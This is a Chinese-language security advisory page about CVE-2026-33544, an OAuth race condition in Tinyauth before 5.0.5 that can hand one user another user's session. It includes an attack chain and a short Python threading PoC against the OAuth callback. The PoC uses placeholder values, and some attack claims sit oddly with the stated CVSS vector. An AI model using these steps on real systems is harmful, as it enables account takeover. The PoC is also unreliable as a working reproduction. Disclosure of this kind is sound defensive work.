IPBUF安全漏洞报告
English
CVE-2026-33544 CVSS 7.7 高危

CVE-2026-33544 Tinyauth 身份认证绕过漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-33544
漏洞类型
竞态条件
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Tinyauth

相关标签

竞态条件身份验证绕过OAuthTinyauth账号接管

漏洞概述

Tinyauth是一个身份验证和授权服务器。在5.0.5版本之前,其所有OAuth服务实现(GenericOAuthService、GithubOAuthService、GoogleOAuthService)将PKCE验证器和访问令牌作为可变结构体字段存储在所有并发请求共享的单例实例上。当两个用户同时为同一提供商发起OAuth登录时,VerifyCode()和Userinfo()之间的竞态条件会导致一个用户获得带有另一个用户身份的会话,从而造成严重的身份接管风险。该问题已在5.0.5版本中修复。

技术细节

该漏洞源于Tinyauth在处理OAuth流程时的不安全并发编程模式。受影响的OAuth服务类被设计为单例模式,但其中存储PKCE验证器和访问令牌的字段被声明为可变状态。在高并发场景下,当用户A和用户B几乎同时触发OAuth登录流程(例如同时访问VerifyCode()接口)时,由于共享内存状态缺乏适当的锁机制,线程A写入的token可能会被线程B覆盖,反之亦然。随后,当调用Userinfo()接口获取用户信息时,系统可能会错误地使用另一个用户的token向OAuth提供商请求信息。结果便是用户A完成了登录流程,但系统分配给他的却是用户B的身份信息,导致账户权限被非法接管。攻击者可通过并发发送大量OAuth请求来触发此竞态条件,无需用户凭证即可登录受害者账户。

攻击链分析

STEP 1
步骤1:侦察
攻击者识别出目标使用了Tinyauth作为认证服务,且版本低于5.0.5。
STEP 2
步骤2:并发请求触发
攻击者利用脚本(如Python多线程)模拟两个不同的OAuth登录流程,并在同一微秒级时间窗口内向VerifyCode()接口发送回调请求。
STEP 3
步骤3:竞态条件利用
由于服务端单例实例中的token字段是可变的且未加锁,后到达的请求会覆盖先到达请求的token状态。
STEP 4
步骤4:身份劫持
当服务端调用Userinfo()时,错误地使用了被覆盖的token进行验证,导致攻击者获得了受害者的合法会话身份。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import threading # Target URL url = "https://target.tinyauth/oauth/callback" # Simulate two user sessions attempting to login concurrently def exploit_session(user_id): # Payload or state parameter specific to the user payload = { 'state': f'my_state_{user_id}', 'code': 'auth_code_placeholder' } try: # Send the request to trigger the race condition response = requests.post(url, data=payload) print(f"User {user_id} response status: {response.status_code}") if response.status_code == 200: print(f"User {user_id} potentially logged in.") except Exception as e: print(f"Error for user {user_id}: {e}") # Create threads to simulate concurrent requests threads = [] for i in range(1, 3): t = threading.Thread(target=exploit_session, args=(i,)) threads.append(t) t.start() for t in threads: t.join() print("Exploit attempt finished. Check if User 1 received User 2's session.")

影响范围

Tinyauth < 5.0.5

防御指南

临时缓解措施
建议立即将Tinyauth升级到5.0.5版本,该版本修复了单例实例中的可变状态问题。如果无法立即升级,应限制对OAuth登录接口的并发请求数,或部署WAF规则检测异常的并发请求模式,直到补丁应用完成。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表